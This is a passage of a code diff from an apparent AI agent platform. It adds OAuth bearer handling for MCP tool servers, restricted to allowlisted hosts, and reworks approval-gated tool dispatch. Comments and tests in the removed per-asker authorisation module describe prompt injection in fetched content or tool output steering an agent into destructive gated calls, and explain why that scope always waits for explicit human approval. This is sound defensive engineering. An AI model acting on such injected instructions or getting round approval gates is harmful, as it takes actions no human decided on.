+ if (res.kind === 'unavailable') {
+ throw new Error(`mcp_identity_unavailable: ${ref.auth.provider} (${res.reason})`)
+ }
+ const parsed = new URL(url)
+ // Loopback is a LOCAL-DEV-ONLY affordance (gated by isDev()): in dev the
+ // PostHog MCP runs on a different localhost port than the API the OAuth
+ // endpoints (and thus `allowedHosts`) derive from, and http to a dev
+ // loopback host isn't an exfiltration target. In prod the gate is off, so
+ // a loopback URL falls through to the strict check below (https + the
+ // bearer's own host allowlist) and fails closed — the agent author
+ // controls both the spec URL and the sandbox, so we never hand a user's
+ // bearer to 127.0.0.1 in prod.
+ const loopback = isLoopbackHost(parsed.hostname) && isDev()
+ if (!loopback && parsed.protocol !== 'https:') {
+ throw new Error(`mcp_identity_unsafe_scheme: ${ref.auth.provider} → ${parsed.protocol}`)
+ }
+ if (!loopback && !res.allowedHosts.includes(parsed.host)) {
+ throw new Error(`mcp_identity_host_not_allowed: ${ref.auth.provider} → ${parsed.host}`)
+ }
+ const token =
+ res.credential.kind === 'oauth_bearer' || res.credential.kind === 'posthog_bearer'
+ ? res.credential.token
+ : undefined
+ if (!token) {
+ throw new Error(`mcp_identity_not_bearer: ${ref.auth.provider}`)
+ }
+ headers['Authorization'] = `Bearer ${token}`
} else if (deps.devMcpBearerToken) {
// Dev-only fallback. The bundle declared no integration auth, but
// the operator wired a global dev bearer (their PAT, typically) so
diff --git a/products/agent_platform/services/agent-runner/src/loop/mcp-tool-lookup.test.ts b/products/agent_platform/services/agent-runner/src/loop/mcp-tool-lookup.test.ts
index b705739f876d..4f7f36a12b1f 100644
--- a/products/agent_platform/services/agent-runner/src/loop/mcp-tool-lookup.test.ts
+++ b/products/agent_platform/services/agent-runner/src/loop/mcp-tool-lookup.test.ts
@@ -22,7 +22,7 @@ describe('lookupMcpToolApproval', () => {
{
name: 'agent-applications-revisions-promote-create',
requires_approval: true,
- approval_policy: { approvers: ['session_principal'], ttl_ms: 900_000 },
+ approval_policy: { type: 'principal', ttl_ms: 900_000 },
},
],
},
@@ -31,7 +31,7 @@ describe('lookupMcpToolApproval', () => {
const result = lookupMcpToolApproval('posthog__agent-applications-revisions-promote-create', spec)
expect(result).not.toBeNull()
expect(result?.requires_approval).toBe(true)
- expect(result?.approval_policy.approvers).toEqual(['session_principal'])
+ expect(result?.approval_policy.type).toBe('principal')
expect(result?.approval_policy.ttl_ms).toBe(900_000)
})
@@ -162,7 +162,7 @@ describe('lookupMcpToolApproval', () => {
kind: 'native',
id: 'linear__create-issue',
requires_approval: true,
- approval_policy: { approvers: ['team_admins'] },
+ approval_policy: { type: 'agent' },
},
],
mcps: [
diff --git a/products/agent_platform/services/agent-runner/src/loop/per-asker-auth.test.ts b/products/agent_platform/services/agent-runner/src/loop/per-asker-auth.test.ts
deleted file mode 100644
index 26fc9271cc30..000000000000
--- a/products/agent_platform/services/agent-runner/src/loop/per-asker-auth.test.ts
+++ /dev/null
@@ -1,332 +0,0 @@
-/**
- * Unit tests for the per-asker authorisation helper. The PostHog DB call is
- * stubbed; the contract under test is "does the helper correctly read the
- * most recent user-turn sender and resolve their authorisation."
- *
- * The identity store is the real `PgIdentityStore` against the test DB — same
- * impl prod runs. Per-test reset keeps cases isolated. There is no in-memory
- * identity store anymore.
- */
-
-import { Pool } from 'pg'
-
-import { ConversationMessage, PgIdentityStore, SessionPrincipal } from '@posthog/agent-shared'
-import { reset } from '@posthog/agent-shared/testing'
-
-import { findLastUserSender, makePerAskerAuth } from './per-asker-auth'
-
-const TEST_DB_URL =
- process.env.AGENT_TEST_DB_URL ?? 'postgres://posthog:posthog@localhost:5432/agent_runtime_queue_test'
-
-let pool: Pool
-
-beforeAll(() => {
- pool = new Pool({ connectionString: TEST_DB_URL })
-})
-
-afterAll(async () => {
- await pool.end()
-})
-
-beforeEach(async () => {
- await reset({ databaseUrl: TEST_DB_URL })
-})
-
-function userMsg(content: string, sender?: SessionPrincipal): ConversationMessage {
- return { role: 'user', content, timestamp: Date.now(), sender }
-}
-
-function assistantMsg(text: string): ConversationMessage {
- return {
- role: 'assistant',
- content: [{ type: 'text', text }],
- timestamp: Date.now(),
- }
-}
-
-// Minimal stub matching the Pool surface `makePerAskerAuth` actually uses.
-function fakePosthogDb(admins: Array<{ user_id: number; team_id: number }>): import('pg').Pool {
- return {
- async query(_sql: string, params: unknown[]) {
- const [userId, teamId] = params as [number, number]
- const found = admins.find((a) => a.user_id === userId && a.team_id === teamId)
- return found ? { rowCount: 1, rows: [{ one: 1 }] } : { rowCount: 0, rows: [] }
- },
- } as unknown as import('pg').Pool
-}
-
-describe('findLastUserSender', () => {
- it('returns the sender of the most recent user message that has one', () => {
- const sender = { kind: 'slack' as const, workspace_id: 'T_1', slack_user_id: 'au-bob', agent_user_id: 'au-bob' }
- const sender2 = {
- kind: 'slack' as const,
- workspace_id: 'T_1',
- slack_user_id: 'au-carol',
- agent_user_id: 'au-carol',
- }
- const conv = [userMsg('first', sender), assistantMsg('reply'), userMsg('second', sender2)]
- expect(findLastUserSender(conv)).toEqual(sender2)
- })
-
- it('skips synthetic user messages with no sender (sweep wakes, etc.)', () => {
- const sender = {
- kind: 'slack' as const,
- workspace_id: 'T_1',
- slack_user_id: 'au-carol',
- agent_user_id: 'au-carol',
- }
- const conv = [userMsg('alice asked', sender), assistantMsg('replying'), userMsg('synthetic wake')]
- // Synthetic wake has no sender — fall back to the real prior asker.
- expect(findLastUserSender(conv)).toEqual(sender)
- })
-
- it('returns null when no user message has a sender', () => {
- const conv = [userMsg('legacy message, no sender')]
- expect(findLastUserSender(conv)).toBeNull()
- })
-
- it('returns null for an empty conversation', () => {
- expect(findLastUserSender([])).toBeNull()
- })
-})
-
-describe('makePerAskerAuth', () => {
- async function makeStoreWithAdmin(adminAgentUserId: string, posthogUserId: number): Promise<PgIdentityStore> {
- const store = new PgIdentityStore(pool)
- const user = await store.findOrCreate({
- team_id: 7,
- application_id: '00000000-0000-4000-8000-00000000aa01',
- principal_kind: 'slack',
- principal_id: 'T01ACME:U-CAROL',
- })
- // Rebind the id so callers can stamp it on conversation senders.
- // PgIdentityStore mints a fresh uuid; we'd rather control it.
- await store.setPosthogUserId(user.id, posthogUserId)
- return store
- }
-
- it('returns true when the asker is a slack-mapped team admin', async () => {
- const store = await makeStoreWithAdmin('ignored', 42)
- const carol = await store.find({
- application_id: '00000000-0000-4000-8000-00000000aa01',
- principal_kind: 'slack',
- principal_id: 'T01ACME:U-CAROL',
- })
- const isAuthed = makePerAskerAuth({
- identities: store,
- posthogDb: fakePosthogDb([{ user_id: 42, team_id: 7 }]),
- })
- const conv = [
- userMsg('do the thing', {
- kind: 'slack' as const,
- workspace_id: 'T_7',
- slack_user_id: carol!.id,
- agent_user_id: carol!.id,
- }),
- ]
- expect(await isAuthed(conv, 7, ['team_admins'], null)).toBe(true)
- })
-
- it('returns false when the asker is mapped but not a team admin on this team', async () => {
- const store = await makeStoreWithAdmin('ignored', 42)
- const carol = await store.find({
- application_id: '00000000-0000-4000-8000-00000000aa01',
- principal_kind: 'slack',
- principal_id: 'T01ACME:U-CAROL',
- })
- // Carol is admin on team 7, but the question is about team 99.
- const isAuthed = makePerAskerAuth({
- identities: store,
- posthogDb: fakePosthogDb([{ user_id: 42, team_id: 7 }]),
- })
- const conv = [
- userMsg('do the thing', {
- kind: 'slack' as const,
- workspace_id: 'T_99',
- slack_user_id: carol!.id,
- agent_user_id: carol!.id,
- }),
- ]
- expect(await isAuthed(conv, 99, ['team_admins'], null)).toBe(false)
- })
-
- it('returns false when no AgentUser exists for the sender id', async () => {
- const store = new PgIdentityStore(pool)
- const isAuthed = makePerAskerAuth({
- identities: store,
- posthogDb: fakePosthogDb([]),
- })
- const conv = [
- userMsg('ghost asker', {
- kind: 'slack' as const,
- workspace_id: 'T_7',
- slack_user_id: '00000000-0000-4000-8000-00000000ffff',
- agent_user_id: '00000000-0000-4000-8000-00000000ffff',
- }),
- ]
- expect(await isAuthed(conv, 7, ['team_admins'], null)).toBe(false)
- })
-
- it('returns false when the AgentUser exists but has no posthog_user_id (external slack member)', async () => {
- const store = new PgIdentityStore(pool)
- const ext = await store.findOrCreate({
- team_id: 7,
- application_id: '00000000-0000-4000-8000-00000000aa01',
- principal_kind: 'slack',
- principal_id: 'T01ACME:U-EXTERNAL',
- })
- // Bridge ran but found no match → cached null.
- await store.setPosthogUserId(ext.id, null)
- const isAuthed = makePerAskerAuth({
- identities: store,
- posthogDb: fakePosthogDb([{ user_id: 999, team_id: 7 }]),
- })
- const conv = [
- userMsg('external request', {
- kind: 'slack' as const,
- workspace_id: 'T_7',
- slack_user_id: ext.id,
- agent_user_id: ext.id,
- }),
- ]
- expect(await isAuthed(conv, 7, ['team_admins'], null)).toBe(false)
- })
-
- it('returns false for non-slack principals (service, internal, etc.)', async () => {
- // PAT-based self-authorisation is a sensible follow-up but isn't
- // implemented in v0. Asking via a PAT today still queues.
- const isAuthed = makePerAskerAuth({
- identities: new PgIdentityStore(pool),
- posthogDb: fakePosthogDb([{ user_id: 42, team_id: 7 }]),
- })
- const conv = [userMsg('via pat', { kind: 'service', team_id: 7, id: 'pat-carol' })]
- expect(await isAuthed(conv, 7, ['team_admins'], null)).toBe(false)
- })
-
- it('returns false when no user-turn carries a sender (legacy rows)', async () => {
- const isAuthed = makePerAskerAuth({
- identities: new PgIdentityStore(pool),
- posthogDb: fakePosthogDb([]),
- })
- // Both messages predate per-message stamping.
- const conv = [userMsg('legacy'), userMsg('also legacy')]
- expect(await isAuthed(conv, 7, ['team_admins'], null)).toBe(false)
- })
-
- it('returns false when the approver scope does not include team_admins or session_principal', async () => {
- // v0 supports two scopes: `team_admins` (B.2 v0) and
- // `session_principal` (PR 7). Anything else falls through to false
- // without touching the identity store or the posthog DB.
- const isAuthed = makePerAskerAuth({
- identities: new PgIdentityStore(pool),
- posthogDb: fakePosthogDb([]),
- })
- const conv = [
- userMsg('q', {
- kind: 'slack' as const,
- workspace_id: 'T_7',
- slack_user_id: 'au-id',
- agent_user_id: 'au-id',
- }),
- ]
- // `session_owner` isn't in the v0 enum (would be rejected by zod
- // before reaching here); we still want the runner to fail closed if
- // a stray scope slips through validation.
- expect(await isAuthed(conv, 7, ['session_owner'], null)).toBe(false)
- expect(await isAuthed(conv, 7, [], null)).toBe(false)
- })
-
- describe('session_principal scope (NOT a fast-path — injection guard)', () => {
- const alice: SessionPrincipal = {
- kind: 'posthog',
- user_id: 'alice',
- team_id: 7,
- }
- const bob: SessionPrincipal = {
- kind: 'posthog',
- user_id: 'bob',
- team_id: 7,
- }
-
- it('returns false even when the session principal matches the most recent user-turn sender', async () => {
- // Regression guard for the "approval bypass for session-principal
- // tools" finding. Alice authed the session and is the one driving
- // the turn — but the owner being the *asker* is NOT consent to the
- // specific gated call the model emitted (a prompt injection in
- // content the agent read could have steered that call). So
- // `session_principal` must NOT self-authorise; it defers to the
- // queue. The posthog DB fake throws if hit — a `session_principal`-
- // only scope must short-circuit to false before any DB roundtrip.
- const isAuthed = makePerAskerAuth({
- identities: new PgIdentityStore(pool),
- posthogDb: {
- async query() {
- throw new Error('session_principal must not touch the posthog DB — it never fast-paths')
- },
- } as unknown as import('pg').Pool,
- })
- const conv = [userMsg('promote it', alice)]
- expect(await isAuthed(conv, 7, ['session_principal'], alice)).toBe(false)
- })
-
- it('returns false when the last sender is a different principal than the session owner', async () => {
- const isAuthed = makePerAskerAuth({
- identities: new PgIdentityStore(pool),
- posthogDb: fakePosthogDb([]),
- })
- const conv = [userMsg('promote it', bob)]
- expect(await isAuthed(conv, 7, ['session_principal'], alice)).toBe(false)
- })
-
- it('returns false when sessionPrincipal is null (public agent — nothing to compare against)', async () => {
- const isAuthed = makePerAskerAuth({
- identities: new PgIdentityStore(pool),
- posthogDb: fakePosthogDb([]),
- })
- const conv = [userMsg('promote it', alice)]
- expect(await isAuthed(conv, 7, ['session_principal'], null)).toBe(false)
- })
-
- it('returns false for anonymous principals (public agent)', async () => {
- // The public verifier stores { kind: 'anonymous' } on the session
- // row and stamps the same sender on the user turn. `session_principal`
- // never fast-paths regardless, so a public caller can't clear the
- // gate this way.
- const anon: SessionPrincipal = { kind: 'anonymous' }
- const isAuthed = makePerAskerAuth({
- identities: new PgIdentityStore(pool),
- posthogDb: fakePosthogDb([]),
- })
- const conv = [userMsg('promote it', anon)]
- expect(await isAuthed(conv, 7, ['session_principal'], anon)).toBe(false)
- })
-
- it('falls through to team_admins when session_principal is paired with team_admins in scope', async () => {
- // Mixed-scope policy: session principal OR team admin. session_principal
- // never fast-paths, but team_admins still does — so an admin asker
- // clears the gate via the team_admins branch. Alice is configured as
- // a team admin on team 7 via the posthog-DB fake.
- const store = new PgIdentityStore(pool)
- const senderAgent = await store.findOrCreate({
- team_id: 7,
- application_id: '00000000-0000-4000-8000-00000000aa01',
- principal_kind: 'slack',
- principal_id: 'T01:U-ADMIN',
- })
- await store.setPosthogUserId(senderAgent.id, 99)
- const isAuthed = makePerAskerAuth({
- identities: store,
- posthogDb: fakePosthogDb([{ user_id: 99, team_id: 7 }]),
- })
- const conv = [
- userMsg('approve it', {
- kind: 'slack' as const,
- workspace_id: 'T01',
- slack_user_id: senderAgent.id,
- agent_user_id: senderAgent.id,
- }),
- ]
- expect(await isAuthed(conv, 7, ['session_principal', 'team_admins'], alice)).toBe(true)
- })
- })
-})
diff --git a/products/agent_platform/services/agent-runner/src/loop/per-asker-auth.ts b/products/agent_platform/services/agent-runner/src/loop/per-asker-auth.ts
deleted file mode 100644
index d2d2431f96f2..000000000000
--- a/products/agent_platform/services/agent-runner/src/loop/per-asker-auth.ts
+++ /dev/null
@@ -1,130 +0,0 @@
-/**
- * Per-asker authorization for approval-gated tools. Reads the sender of
- * the most recent user message in the session conversation and resolves
- * "is this asker themselves in the approver scope?" — if so, the dispatcher
- * can dispatch the tool directly instead of queueing for someone else to
- * approve.
- *
- * Fast-path scopes (skip the queue, run the real tool):
- * - `team_admins` — the original B.2 v0 scope. Resolution:
- * - `sender.kind === 'slack'`: `sender.id` is an `agent_user.id`. Look
- * up the row, read its `posthog_user_id`, check OrganizationMembership
- * for `level >= ADMIN`.
- * - Other kinds: not authorised for v0. PAT-based self-authorisation
- * (chat /run with an admin's token) is a sensible follow-up but adds
- * a second resolution path that step 3 doesn't need to demo the
- * Slack scenario.
- *
- * NOT a fast-path scope:
- * - `session_principal` — marks "the session owner is the approver", but
- * the owner being the *asker* is NOT evidence they consented to the
- * specific gated call the model emitted. Content the agent reads (fetched
- * docs, MCP/tool output, another agent's bundle) can carry a prompt
- * injection that steers the model into a destructive gated call while the
- * most-recent user-turn sender is still the legitimate owner — so a
- * sender↔principal match would silently auto-execute an action the human
- * never decided on. `session_principal` therefore always queues for an
- * explicit, out-of-band human decision; it never short-circuits `real(...)`.
- * The scope is still persisted on the queued row (`approver_scope`) so
- * decision-side routing — letting the session owner, not only a team
- * admin, clear the queued approval — can land as a follow-up.
- * (Fixes the "approval bypass for session-principal tools" review finding.)
- */
-
-import type { Pool } from 'pg'
-
-import { ConversationMessage, IdentityStore, SessionPrincipal } from '@posthog/agent-shared'
-
-/** PostHog's `OrganizationMembership.Level` values — keep in sync with the Django enum. */
-const ADMIN_LEVEL = 8
-
-/**
- * The check the dispatcher runs against the active session conversation.
- * Returns true when the most-recent user turn's sender satisfies a fast-path
- * scope in `approverScope` (today: `team_admins` only). Returning false
- * defers to the normal queue path; the model never sees the difference.
- *
- * `sessionPrincipal` (the auth-time identity persisted on the session row) is
- * accepted for forward compatibility with decision-side approver routing but
- * is NOT consumed by the v0 check: `session_principal` is deliberately not a
- * self-authorising fast-path scope (see the module doc), so a sender↔principal
- * match never clears the gate here.
- */
-export type IsAskerInApproverScope = (
- conversation: ConversationMessage[],
- teamId: number,
- approverScope: ReadonlyArray<string>,
- sessionPrincipal: SessionPrincipal | null
-) => Promise<boolean>
-
-export interface MakePerAskerAuthDeps {
- identities: IdentityStore
- posthogDb: Pool
-}
-
-/** Production factory — closes over the identity store + posthog DB pool. */
-export function makePerAskerAuth(deps: MakePerAskerAuthDeps): IsAskerInApproverScope {
- // `sessionPrincipal` (4th arg) is intentionally not destructured: the only
- // fast-path scope is `team_admins`. `session_principal` is NOT a
- // self-authorising fast-path — it always defers to the queue so a prompt
- // injection that the session owner unwittingly relays can't auto-execute a
- // gated call. See the module doc.
- return async (conversation, teamId, approverScope) => {
- if (!approverScope.includes('team_admins')) {
- return false
- }
- const sender = findLastUserSender(conversation)
- if (!sender) {
- return false
- }
- const posthogUserId = await resolvePosthogUserId(sender, deps.identities)
- if (posthogUserId === null) {
- return false
- }
- return isTeamAdmin(deps.posthogDb, posthogUserId, teamId)
- }
-}
-
-/**
- * Walk the conversation back-to-front looking for the most recent user turn
- * with a `sender`. System-synthesised user messages (approval-decided
- * wakes, sweep-expired wakes) intentionally leave `sender` undefined and
- * are skipped — they aren't human asker actions.
- */
-export function findLastUserSender(conversation: ConversationMessage[]): SessionPrincipal | null {
- for (let i = conversation.length - 1; i >= 0; i--) {
- const m = conversation[i]
- if (m.role !== 'user') {
- continue
- }
- if (m.sender) {
- return m.sender
- }
- }
- return null
-}
-
-async function resolvePosthogUserId(sender: SessionPrincipal, identities: IdentityStore): Promise<number | null> {
- if (sender.kind !== 'slack' || !sender.agent_user_id) {
- return null
- }
- const agentUser = await identities.getById(sender.agent_user_id)
- if (!agentUser || agentUser.posthog_user_id == null) {
- return null
- }
- return agentUser.posthog_user_id
-}
-
-async function isTeamAdmin(pool: Pool, posthogUserId: number, teamId: number): Promise<boolean> {
- const r = await pool.query<{ one: number }>(
- // OrganizationMembership.Level: ADMIN=8, OWNER=15. The team belongs
- // to an organization; the membership scopes to that organization.
- `SELECT 1 AS one
- FROM posthog_organizationmembership om
- JOIN posthog_team t ON t.organization_id = om.organization_id
- WHERE om.user_id = $1 AND t.id = $2 AND om.level >= $3
- LIMIT 1`,
- [posthogUserId, teamId, ADMIN_LEVEL]
- )
- return (r.rowCount ?? 0) > 0
-}
diff --git a/products/agent_platform/services/agent-runner/src/workers/worker.ts b/products/agent_platform/services/agent-runner/src/workers/worker.ts
index aac95dfa3442..68f5f9734fd4 100644
--- a/products/agent_platform/services/agent-runner/src/workers/worker.ts
+++ b/products/agent_platform/services/agent-runner/src/workers/worker.ts
@@ -26,10 +26,14 @@ import {
AgentSession,
AnalyticsSink,
ApprovalStore,
+ buildAskerIdentity,
BundleStore,
categorize,
createLogger,
CredentialBroker,
+ IdentityCredentialStore,
+ IdentityLinkStateStore,
+ IdentityStore,
FailureNotifier,
GatewayClient,
getSecretAllowedHosts,
@@ -48,7 +52,6 @@ import {
import { runSession } from '../loop/driver'
import { IntegrationHostValidator, McpTransportFactory, openMcpClients } from '../loop/mcp-clients'
-import type { IsAskerInApproverScope } from '../loop/per-asker-auth'
import * as metrics from '../metrics'
import { resolveModelCached } from '../models/pi-client'
@@ -168,13 +171,14 @@ export interface WorkerDeps {
*/
credentialBroker?: CredentialBroker
/**
- * Per-asker authorisation shortcut for approval-gated tools (#23 step 3).
- * Production wires this via `makePerAskerAuth({ identities, posthogDb })`.
- * The driver passes it through to `approval.ts` so a gated call from a
- * user who already satisfies the approver scope dispatches directly
- * instead of queueing. Omit to keep the always-queue default.
+ * Per-asker identity linking (spec.identity_providers). Passed through to
+ * `runSession` → `ctx.identity`. Omit to disable identity tools.
*/
- isAskerInApproverScope?: IsAskerInApproverScope
+ identityCredentials?: IdentityCredentialStore
+ identityLinks?: IdentityLinkStateStore
+ identities?: IdentityStore
+ /** OAuth callback base; `/link/<provider>/callback` is appended. */
+ linkRedirectBaseUrl?: string
/**
* Override the MCP transport factory. Defaults to
* `StreamableHTTPClientTransport`. The e2e harness substitutes an
@@ -470,12 +474,30 @@ export class Worker {
// a sandbox-pool slot; the order is otherwise unobservable.
let mcpFailures: Awaited<ReturnType<typeof openMcpClients>>['failures'] = []
if (rev.spec.mcps.length > 0) {
+ // Build the per-asker resolver only when an MCP needs it (auth.provider),
+ // so the common auth.integration / secret path pays nothing.
+ const mcpNeedsIdentity = rev.spec.mcps.some((m) => m.auth?.provider)
+ const mcpIdentity =
+ mcpNeedsIdentity && this.deps.identityCredentials && this.deps.identityLinks
+ ? await buildAskerIdentity(rev, session, {
+ credentials: this.deps.identityCredentials,
+ links: this.deps.identityLinks,
+ identities: this.deps.identities,
+ credentialBroker: this.deps.credentialBroker,
+ http: this.deps.http,
+ secret: (name) => secrets[name],
+ posthogApiBaseUrl: this.deps.posthogApiBaseUrl,
+ linkRedirectBaseUrl: this.deps.linkRedirectBaseUrl,
+ log: (level, msg, meta) => sLog[level](meta ?? {}, msg),
+ })
+ : undefined
const opened = await openMcpClients(rev.spec.mcps, {
integrations,
secrets,
secretAllowedHosts: (name) => getSecretAllowedHosts(rev.spec, name),
transportFactory: this.deps.mcpTransportFactory,
integrationHostValidator: this.deps.integrationHostValidator,
+ identity: mcpIdentity,
devMcpBearerToken: this.deps.devMcpBearerToken,
log: (level, msg, meta) => sLog[level](meta ?? {}, msg),
http: this.deps.http,
@@ -539,7 +561,10 @@ export class Worker {
memoryStore: this.deps.memoryStore,
tabularStore: this.deps.tabularStore,
credentialBroker: this.deps.credentialBroker,
- isAskerInApproverScope: this.deps.isAskerInApproverScope,
+ identityCredentials: this.deps.identityCredentials,
+ identityLinks: this.deps.identityLinks,
+ identities: this.deps.identities,
+ linkRedirectBaseUrl: this.deps.linkRedirectBaseUrl,
mcpClients: openedMcpClients,
mcpFailures,
http: this.deps.http,
diff --git a/products/agent_platform/services/agent-sandbox-host/package.json b/products/agent_platform/services/agent-sandbox-host/package.json
index 9a2f9a32167f..7bc5f6959f05 100644
--- a/products/agent_platform/services/agent-sandbox-host/package.json
+++ b/products/agent_platform/services/agent-sandbox-host/package.json
@@ -9,6 +9,8 @@
"main": "./src/host.js",
"scripts": {
"lint": "oxlint --quiet .",
+ "format": "oxfmt .",
+ "format:check": "oxfmt --check .",
"test": "node --test src/dispatch.test.js",
"typescript:check": "node --check src/host.js && node --check src/dispatch.js && node --check src/dispatch.test.js"
},
diff --git a/products/agent_platform/services/agent-shared/AGENTS.md b/products/agent_platform/services/agent-shared/AGENTS.md
index e90a99908692..5ef0695a9b6d 100644
--- a/products/agent_platform/services/agent-shared/AGENTS.md
+++ b/products/agent_platform/services/agent-shared/AGENTS.md
@@ -15,8 +15,8 @@ for the wider dev flow.
- [src/persistence/](src/persistence/) — `PgSessionQueue`,
`PgRevisionStore`, `PgIdentityStore`, `PgIntegrationStore`,
`PgSandboxInstanceStore`, `PgApprovalStore`, `PgCredentialBroker`.
- All Postgres-backed; there are no in-memory variants. SQL schema
- lives in [@posthog/agent-migrations](../agent-migrations/), not here.
+ All Postgres-backed; there are no in-memory variants. Schema is
+ Django-owned ([products/agent_platform/backend/migrations/](../../backend/migrations/)), not here.
- [src/storage/](src/storage/) — `BundleStore` interface +
`S3BundleStore` impl. Prod runs against real S3, tests against
SeaweedFS via `buildTestBundleStore`. No fs/in-memory bundle store.
@@ -60,14 +60,15 @@ for the wider dev flow.
can't handle. Mirror janitor `validate-spec.ts` whenever you
touch this.
-4. **Schema lives in `@posthog/agent-migrations`.** This package no
- longer carries inline SQL constants. New tables or columns go in a
- new migration file there. Test harness pulls `reset()` from the
- migrations package; production runs `bin/migrate --scope=agent_runtime`
- before service boot. **Never** ship a feature that runs `CREATE
-TABLE IF NOT EXISTS` at runner / janitor / ingress boot — schema
- drift then becomes silent (column adds no-op) and prod tooling
- that depends on `pgmigrations` is bypassed.
+4. **Schema is Django-owned.** Tables live in the `agent_platform`
+ product DB; models + migrations are under
+ `products/agent_platform/backend/`. New tables or columns go in a
+ new Django migration there. The node services are pure clients —
+ they connect and run raw SQL, never DDL. Production applies
+ migrations via the `migrate_product_databases` job. **Never** ship a
+ feature that runs `CREATE TABLE IF NOT EXISTS` at runner / janitor /
+ ingress boot — schema drift then becomes silent (column adds no-op)
+ and the Django migration graph is bypassed.
5. **Cross-process services are constructor-injected, not module
singletons.** Wire each impl at the entrypoint and pass it through
diff --git a/products/agent_platform/services/agent-shared/package.json b/products/agent_platform/services/agent-shared/package.json
index 8c12f2fe153d..dd4d5306afce 100644
--- a/products/agent_platform/services/agent-shared/package.json
+++ b/products/agent_platform/services/agent-shared/package.json
@@ -14,6 +14,8 @@
},
"scripts": {
"lint": "oxlint --quiet .",
+ "format": "oxfmt .",
+ "format:check": "oxfmt --check .",
"typescript:check": "tsc --noEmit -p .",
"test": "vitest run"
},
diff --git a/products/agent_platform/services/agent-shared/src/index.ts b/products/agent_platform/services/agent-shared/src/index.ts
index c4d8e538d29e..4c257a8ef66e 100644
--- a/products/agent_platform/services/agent-shared/src/index.ts
+++ b/products/agent_platform/services/agent-shared/src/index.ts
@@ -26,8 +26,10 @@ export * from './storage/typed-bundle'
export * from './persistence/queue'
export * from './persistence/revision-store'
export * from './persistence/identity-store'
+export * from './persistence/identity-admin-store'
export * from './persistence/integration-store'
export * from './persistence/approval-store'
+export * from './persistence/approval-decision'
export * from './persistence/create-pool'
export * from './persistence/pg-queue'
export * from './persistence/pg-revision-store'
@@ -48,6 +50,12 @@ export * from './runtime/client-kind'
export * from './runtime/client-tool-result-marker'
export * from './runtime/credential-broker'
export * from './runtime/pg-credential-broker'
+export * from './runtime/identity-credential-store'
+export * from './runtime/identity-link-state-store'
+export * from './runtime/identity-provider'
+export * from './runtime/oauth2-identity-provider'
+export * from './runtime/posthog-identity-provider'
+export * from './runtime/identity-gate'
export * from './runtime/log-sink'
export * from './runtime/logger'
export * from './runtime/instrument'
diff --git a/products/agent_platform/services/agent-shared/src/persistence/approval-decision.test.ts b/products/agent_platform/services/agent-shared/src/persistence/approval-decision.test.ts
new file mode 100644
index 000000000000..bca8ea1f0ec1
--- /dev/null
+++ b/products/agent_platform/services/agent-shared/src/persistence/approval-decision.test.ts
@@ -0,0 +1,169 @@
+import { describe, expect, it } from 'vitest'
+
+import type { ConversationMessage } from '../spec/spec'
+import { applyApprovalDecision, buildApprovalDecidedMarker, parseApprovalDecidedMarker } from './approval-decision'
+import type { ApprovalRequest, ApprovalStore, DecideApprovalInput } from './approval-store'
+import type { SessionQueue } from './queue'
+
+function fakeRow(over: Partial<ApprovalRequest> = {}): ApprovalRequest {
+ return {
+ id: 'req-1',
+ session_id: 'sess-1',
+ application_id: 'app-1',
+ team_id: 1,
+ revision_id: 'rev-1',
+ turn: 1,
+ tool_call_id: 'tc-1',
+ tool_name: '@posthog/team-delete',
+ proposed_args: { team_id: 42 },
+ args_hash: Buffer.from(''),
+ assistant_message: { role: 'assistant', content: [{ type: 'text', text: '' }], timestamp: 0 },
+ approver_scope: { type: 'principal', allow_edit: false },
+ state: 'queued',
+ decision_by: null,
+ decision_at: null,
+ decision_reason: null,
+ decided_args: null,
+ dispatch_outcome: null,
+ created_at: '2026-01-01T00:00:00Z',
+ expires_at: '2026-01-02T00:00:00Z',
+ ...over,
+ }
+}
+
+interface Harness {
+ approvals: ApprovalStore
+ queue: SessionQueue
+ calls: {
+ markApproving: DecideApprovalInput[]
+ markRejected: DecideApprovalInput[]
+ appended: { sessionId: string; msg: ConversationMessage }[]
+ updated: { sessionId: string; patch: unknown }[]
+ }
+}
+
+/** Minimal ApprovalStore + SessionQueue doubles recording the calls we assert. */
+function harness(opts: { row: ApprovalRequest | null; markReturnsNull?: boolean }): Harness {
+ const calls = {
+ markApproving: [] as DecideApprovalInput[],
+ markRejected: [] as DecideApprovalInput[],
+ appended: [] as { sessionId: string; msg: ConversationMessage }[],
+ updated: [] as { sessionId: string; patch: unknown }[],
+ }
+ const approvals = {
+ get: async () => opts.row,
+ getForApplication: async (id: string, applicationId: string) =>
+ opts.row && opts.row.id === id && opts.row.application_id === applicationId ? opts.row : null,
+ markApproving: async (id: string, input: DecideApprovalInput) => {
+ calls.markApproving.push(input)
+ return opts.markReturnsNull
+ ? null
+ : fakeRow({ ...opts.row!, id, state: 'approving', decision_by: input.decided_by })
+ },
+ markRejected: async (id: string, input: DecideApprovalInput) => {
+ calls.markRejected.push(input)
+ return opts.markReturnsNull
+ ? null
+ : fakeRow({
+ ...opts.row!,
+ id,
+ state: 'rejected',
+ decision_by: input.decided_by,
+ decision_reason: input.reason ?? null,
+ })
+ },
+ } as unknown as ApprovalStore
+ const queue = {
+ appendPendingInput: async (sessionId: string, msg: ConversationMessage) => {
+ calls.appended.push({ sessionId, msg })
+ },
+ update: async (sessionId: string, patch: unknown) => {
+ calls.updated.push({ sessionId, patch })
+ },
+ } as unknown as SessionQueue
+ return { approvals, queue, calls }
+}
+
+describe('applyApprovalDecision', () => {
+ it('approve: marks approving, appends the decided marker, wakes the session', async () => {
+ const h = harness({ row: fakeRow() })
+ const result = await applyApprovalDecision(h, {
+ requestId: 'req-1',
+ applicationId: 'app-1',
+ decision: 'approve',
+ decidedBy: 'user-9',
+ })
+ expect(result).toEqual({ ok: true, state: 'approving' })
+ expect(h.calls.markApproving[0].decided_by).toBe('user-9')
+ // The wake is the decided marker (the runner picks it up next turn).
+ const text = (h.calls.appended[0].msg.content as { text: string }[])[0].text
+ expect(parseApprovalDecidedMarker(text)).toBe('req-1')
+ expect(h.calls.updated[0].patch).toEqual({ state: 'queued' })
+ })
+
+ it('reject: marks rejected and materialises a rejection envelope (not a marker)', async () => {
+ const h = harness({ row: fakeRow() })
+ const result = await applyApprovalDecision(h, {
+ requestId: 'req-1',
+ applicationId: 'app-1',
+ decision: 'reject',
+ decidedBy: 'user-9',
+ reason: 'nope',
+ })
+ expect(result).toEqual({ ok: true, state: 'rejected' })
+ const text = (h.calls.appended[0].msg.content as { text: string }[])[0].text
+ expect(parseApprovalDecidedMarker(text)).toBeNull()
